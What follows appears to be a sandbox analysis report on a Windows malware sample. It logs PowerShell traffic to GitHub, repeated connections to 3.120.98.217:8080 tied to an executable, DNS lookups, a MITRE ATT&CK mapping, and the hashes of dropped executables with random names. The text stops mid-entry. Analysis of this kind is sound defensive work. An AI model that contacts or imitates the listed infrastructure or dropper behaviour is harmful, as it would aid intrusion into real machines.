powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/git-branch-security.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3084
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Thu, 27 Oct 2022 14:15:22 GMT
ETag: "77aa4a83c41f08649402b5fbc3046d61"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 4176
X-Served-By: cache-iad-kiad7000165-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 52361, 3
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: e89527dfcc3dd7d22fac9fa3f03880f86b6241a5
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-secret-scanning.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-secret-scanning.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 55861
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "E/h4XjjUROCQRpwjW9uicV+5U7rNAfnkS0K/Co45mlk"
Fastly-Io-Info: ifsz=55861 idim=1288x992 ifmt=png ofsz=55861 odim=1288x992 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 3217
X-Served-By: cache-iad-kcgs7200036-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 251, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: f96c8bfd4a4ffef132b984350506fdd82027e991
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-code-scanning.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-code-scanning.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 70105
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "qJAxh1feUxo6mnZTyrP3VfVBQO98Xc+XTIs7NIGwxJs"
Fastly-Io-Info: ifsz=70105 idim=1208x830 ifmt=png ofsz=70105 odim=1208x830 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 2758
X-Served-By: cache-iad-kiad7000021-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 417, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 21e959ddb1d1861647d1ad759f08abd51c352536
GET

https://github.githubassets.com/images/modules/site/home-campaign/astrocat.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/astrocat.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 58355
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "1SHiPgdMGzIcBZztpyz2bnTbtK9CqLvmmkLeRf2dd+s"
Fastly-Io-Info: ifsz=58355 idim=801x807 ifmt=png ofsz=58355 odim=801x807 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 5437
X-Served-By: cache-iad-kcgs7200110-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 10576, 37
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: d83508574d94dc97c429d007112407f8a1b21b23
GET

https://github.githubassets.com/images/modules/site/icons/footer/facebook.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/icons/footer/facebook.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 327
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT
ETag: "cc629e4b2c1fb53642ad8109ebda4e3d"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 4393
X-Served-By: cache-iad-kcgs7200045-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 230934, 10
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: fa53b0f5aa7396496c0f287a6d72b8d33fccc28a
GET

https://github.githubassets.com/images/modules/site/icons/footer/youtube.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/icons/footer/youtube.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 433
Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT
ETag: "2c8611157e876c00381ff2c5dc1059a1"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:39 GMT
Age: 1058
X-Served-By: cache-iad-kjyo7100152-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 177401, 2
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: a06a9edc40c4a3ee6a579886e9baca3da805c457
GET

https://github.githubassets.com/images/modules/site/icons/footer/tiktok.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/icons/footer/tiktok.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 733
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Mon, 22 Aug 2022 19:15:39 GMT
ETag: "1d8dc85a7b6799806d93b7b9167b6d21"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:39 GMT
Age: 4598
X-Served-By: cache-iad-kjyo7100026-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 97045, 12
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 489e7d9b2c2b455d9b68f23723ccad7d368c025f

3.120.98.217:8080

7906a13136a42ef172726a9b16a981d0_JC.exe

260 B
5
185.199.110.133:443

https://raw.githubusercontent.com/

tls, http

powershell.exe

795 B
5.8kB
7
10

HTTP Request

GET https://raw.githubusercontent.com/

HTTP Response

301
140.82.114.3:443

https://github.com/

tls, http

powershell.exe

5.2kB
258.0kB
104
187

HTTP Request

GET https://github.com/

HTTP Response

200
185.199.108.154:443

https://github.githubassets.com/images/modules/site/icons/footer/github-mark.svg

tls, http

powershell.exe

64.0kB
1.2MB
951
950

HTTP Request

GET https://github.githubassets.com/assets/light-a09cef873428.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/primer-903aefe99058.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/github-eb793512a19a.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/discussions-8c34e5e343ae.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/home-7eb364e46344.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/wp-runtime-a3f04416c592.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-18bf85b8e9f4.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/environment-509b58e05b9f.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-d55308df5023.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-d2119e75298d.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-8873b7-5771678648e0.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/github-elements-1ff8b48eef26.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-b1fdd7158cf0.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-1f4793023fcd.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/app_assets_modules_github_details-dialog_ts-app_assets_modules_github_fetch_ts-9ca164041015.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/app_assets_modules_github_onfocus_ts-app_assets_modules_github_sticky-scroll-into-view_ts-b88dcdb1ae32.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-2e2258-f7b8ad0ef997.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-c96432-b9f980134541.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/behaviors-7436dd4fb020.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/notifications-global-f57687007bfc.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/marketing-491859bb3d7a.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_webgl-globe_dist_js_main_js-e462b6d5b399.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/sessions-9bc1a064363e.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/hero-drone.webp

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/lines-hero.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/logos/stripe.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/logos/pinterest.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/logos/kpmg.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/logos/pg.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home/globe.jpg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/git-branch-productivity.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/codespaces/illo-cursor.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-actions.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/issues/illo/issues-plan.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-projects.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-pull-requests.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/prophen.jpeg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/dayhaysoos.jpeg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/yyx990803.jpeg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/directus.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-ghas-list.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-dependabot.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/footer-galaxy.jpg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/icons/footer/x.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/icons/footer/linkedin.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/icons/footer/twitch.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/icons/footer/github-mark.svg

HTTP Response

200
185.199.108.154:443

https://github.githubassets.com/images/modules/site/home-campaign/hero-bg.webp

tls, http

powershell.exe

24.2kB
319.4kB
277
275

HTTP Request

GET https://github.githubassets.com/assets/dark-5d486a4ede8e.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/primer-primitives-6143c8f97ed1.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/global-ff0cd5eb8b00.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/dashboard-7d380dd481a6.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/site-657ed51f7599.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/home-campaign-1fd038acb658.css

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-64d590970fa6.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-df17d5597d8f.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-99e288659d4f.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-5b3870-9b38c0812424.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-bdc901-81f1e189072b.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/element-registry-631c5146145f.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-fd3c22610e40.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-4aefce0fc3c8.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_scroll-anchoring_dist_scro-52dc4b-e1e33bfc0b7e.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-7a8e2b-f036384374ea.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ui_packages_hydro-analytics_hydro-analytics_ts-e4da304b75e7.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-7d50ad-9491f2be61ee.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-f22ac6b94445.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-fe0b8ccc90a5.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-b4a243-f71dee1f28a5.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/home-0369a2a6b0c5.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/webgl-globe-a04dd3bb35e2.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_memoize_dist_esm_in-687f35-d131f0b6de8e.js

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/hero-bg.webp

HTTP Response

200
185.199.108.154:443

https://github.githubassets.com/images/modules/site/icons/footer/tiktok.svg

tls, http

powershell.exe

32.6kB
663.3kB
516
515

HTTP Request

GET https://github.githubassets.com/images/modules/site/universe/eyebrow-23@2x.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/logos/mercedes.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/logos/telus.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/bg-stars-1.webp

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/codespaces/illo-context-menu.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/codespaces/illo-ports.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-mobile.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/git-branch-collaboration.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-discussions.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/chaynhq.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/homebrew.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/curl.jpeg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/commandpost.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/sponsors/kazupon.jpeg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/git-branch-security.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-secret-scanning.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/illu-code-scanning.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/home-campaign/astrocat.png

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/icons/footer/facebook.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/icons/footer/youtube.svg

HTTP Response

200

HTTP Request

GET https://github.githubassets.com/images/modules/site/icons/footer/tiktok.svg

HTTP Response

200
3.120.98.217:8080

7906a13136a42ef172726a9b16a981d0_JC.exe

260 B
5
3.120.98.217:8080

7906a13136a42ef172726a9b16a981d0_JC.exe

260 B
5

8.8.8.8:53

126.209.247.8.in-addr.arpa

dns

72 B
126 B
1
1

DNS Request

126.209.247.8.in-addr.arpa
8.8.8.8:53

raw.githubusercontent.com

dns

powershell.exe

71 B
135 B
1
1

DNS Request

raw.githubusercontent.com

DNS Response

185.199.110.133

185.199.109.133

185.199.111.133

185.199.108.133
8.8.8.8:53

github.com

dns

powershell.exe

56 B
72 B
1
1

DNS Request

github.com

DNS Response

140.82.114.3
8.8.8.8:53

github.githubassets.com

dns

powershell.exe

69 B
133 B
1
1

DNS Request

github.githubassets.com

DNS Response

185.199.108.154

185.199.109.154

185.199.110.154

185.199.111.154
8.8.8.8:53

133.110.199.185.in-addr.arpa

dns

74 B
118 B
1
1

DNS Request

133.110.199.185.in-addr.arpa
8.8.8.8:53

241.154.82.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

241.154.82.20.in-addr.arpa
8.8.8.8:53

3.114.82.140.in-addr.arpa

dns

71 B
115 B
1
1

DNS Request

3.114.82.140.in-addr.arpa
8.8.8.8:53

41.110.16.96.in-addr.arpa

dns

71 B
135 B
1
1

DNS Request

41.110.16.96.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

154.108.199.185.in-addr.arpa

dns

74 B
118 B
1
1

DNS Request

154.108.199.185.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\742GEXTW\home-campaign-1fd038acb658[1].css

Filesize
11KB

MD5
7485cbe6d75a306ec11d5676146b7703

SHA1
0ec2b146678488888dbe39b9a4b5207e619ec77c

SHA256
b0e65707692366134926684bbc1f573fe584848ba23fdfd73c0ab496629b5e99

SHA512
1fd038acb65843742c2dc094b82453649b091d678fc373a8cc4f2c7ef1c38554fcaed12d11b1321ab7b2f45654367fe317b6c3f26d418bf4878595d56ca369a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u0exmsjs.kbl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\BPsISZJ.exe

Filesize
3.7MB

MD5
112bcd2ede257373cf0ddcc6ee288652

SHA1
e900df786b66ed109368709273ed4919304d34b0

SHA256
6290e559b5bea8e13dce185984890b61eed762fcbafeeb145aebdb04e23e3b8a

SHA512
2201c16edb3f3f2c9718cf8d448b53855eda49b611708f904448c590eca40399d6459701ce131ea811e8c2b633c8bfe9521ce261a03bd0765d3bb49015f19825

Download Submit
C:\Windows\System\BPsISZJ.exe

Filesize
3.7MB

MD5
112bcd2ede257373cf0ddcc6ee288652

SHA1
e900df786b66ed109368709273ed4919304d34b0

SHA256
6290e559b5bea8e13dce185984890b61eed762fcbafeeb145aebdb04e23e3b8a

SHA512
2201c16edb3f3f2c9718cf8d448b53855eda49b611708f904448c590eca40399d6459701ce131ea811e8c2b633c8bfe9521ce261a03bd0765d3bb49015f19825

Download Submit
C:\Windows\System\BPsISZJ.exe

Filesize
3.7MB

MD5
112bcd2ede257373cf0ddcc6ee288652

SHA1
e900df786b66ed109368709273ed4919304d34b0

SHA256
6290e559b5bea8e13dce185984890b61eed762fcbafeeb145aebdb04e23e3b8a

SHA512
2201c16edb3f3f2c9718cf8d448b53855eda49b611708f904448c590eca40399d6459701ce131ea811e8c2b633c8bfe9521ce261a03bd0765d3bb49015f19825

Download Submit
C:\Windows\System\BdYoJZM.exe

Filesize
3.7MB

MD5
85f5e94d90aeda9527297cb57dea5461

SHA1
6bcd668cba28111fadb318612f127ed587ca12ad

SHA256
2a48bac394028fa46fce9ab497edd3a0b4d029335292f09dd9dc5580f599458b

SHA512
58da8fe5922b2a96a7c3b4c8ac1e669fc1ff0b209cc6e8692fd3f1ad7af41545faa10c4c4dd1b14759bf3f5d32e9a45cdef8b098f937b1848dfb376135ed1967

Download Submit
C:\Windows\System\BdYoJZM.exe

Filesize
3.7MB

MD5
85f5e94d90aeda9527297cb57dea5461

SHA1
6bcd668cba28111fadb318612f127ed587ca12ad

SHA256
2a48bac394028fa46fce9ab497edd3a0b4d029335292f09dd9dc5580f599458b

SHA512
58da8fe5922b2a96a7c3b4c8ac1e669fc1ff0b209cc6e8692fd3f1ad7af41545faa10c4c4dd1b14759bf3f5d32e9a45cdef8b098f937b1848dfb376135ed1967

Download Submit
C:\Windows\System\EQxFSBj.exe

Filesize
3.7MB

MD5
4fed44ec4b97cde41aec6c784a834396

SHA1
82c4fc6be81f1a1dc61e899d8ba5856d75eda369

SHA256
fcebdd077abea7dbe8cd9bbc00cad0d12d79c65142a65354bac8434b52f44e6d

SHA512
13293742c6f10770061f9b0b4943210f4707563e8c9a53e46a19ef06fe3cdf6ae27a24766e5d1f69a88a47dbde361808ea0fe44873c2f95e3693c7982613c549

Download Submit
C:\Windows\System\EQxFSBj.exe

Filesize
3.7MB

MD5
4fed44ec4b97cde41aec6c784a834396

SHA1
82c4fc6be81f1a1dc61e899d8ba5856d75eda369

SHA256
fcebdd077abea7dbe8cd9bbc00cad0d12d79c65142a65354bac8434b52f44e6d

SHA512
13293742c6f10770061f9b0b4943210f4707563e8c9a53e46a19ef06fe3cdf6ae27a24766e5d1f69a88a47dbde361808ea0fe44873c2f95e3693c7982613c549

Download Submit
C:\Windows\System\ErctvaU.exe

Filesize
3.7MB

MD5
e41a83dd7a877387e713cc5bbb6bb045

SHA1
91d061f3cca82932eb0fc4f56182693c997ed4e7

SHA256
6f1aa8040d60984eaf9d67ed247401b59e8e91cefba561079bb37d08560278ff

SHA512
dc0e681e1f2f5dc19db86c9b92602a95dbe3a66b6b950d213cf2737d8bd16bcdc9691da6dc142f0b7ec18c6376119313bac12c4c1efdacf501f78fd8929479ad

Download Submit
C:\Windows\System\ErctvaU.exe

Filesize
3.7MB

MD5
e41a83dd7a877387e713cc5bbb6bb045

SHA1
91d061f3cca82932eb0fc4f56182693c997ed4e7

SHA256
6f1aa8040d60984eaf9d67ed247401b59e8e91cefba561079bb37d08560278ff

SHA512
dc0e681e1f2f5dc19db86c9b92602a95dbe3a66b6b950d213cf2737d8bd16bcdc9691da6dc142f0b7ec18c6376119313bac12c4c1efdacf501f78fd8929479ad

Download Submit
C:\Windows\System\GVhSYia.exe

Filesize
8B

MD5
82b38ba397ca8aa00af9039753db600d

SHA1
1eeea586acddb7e15c6d48f092ef9a285d14f55a

SHA256
839d33919a9f15d3c959406d8c0f5f0cceddbd1e628fb8a333f8d39f9abee5d8

SHA512
7532a9869e870c394b1e9b9d0dc543d902c604f4d22418111300229e1bba14ebc6ee7fa4d410f09a2d4effa2c620d161f8ef67e17c2d1a7bd3632f74c0c25dd3

Download Submit
C:\Windows\System\GhXuHGs.exe

Filesize
3.7MB

MD5
86b272e328ffc65cec64f56b9ad3e89d

SHA1
ed58ca59175b113116d31af2601e40a43d4fc04a

SHA256
a2a059d40f8fc828fdb79f1dacee99ea486431796f716e9fed3b51bb30ea9cfc

SHA512
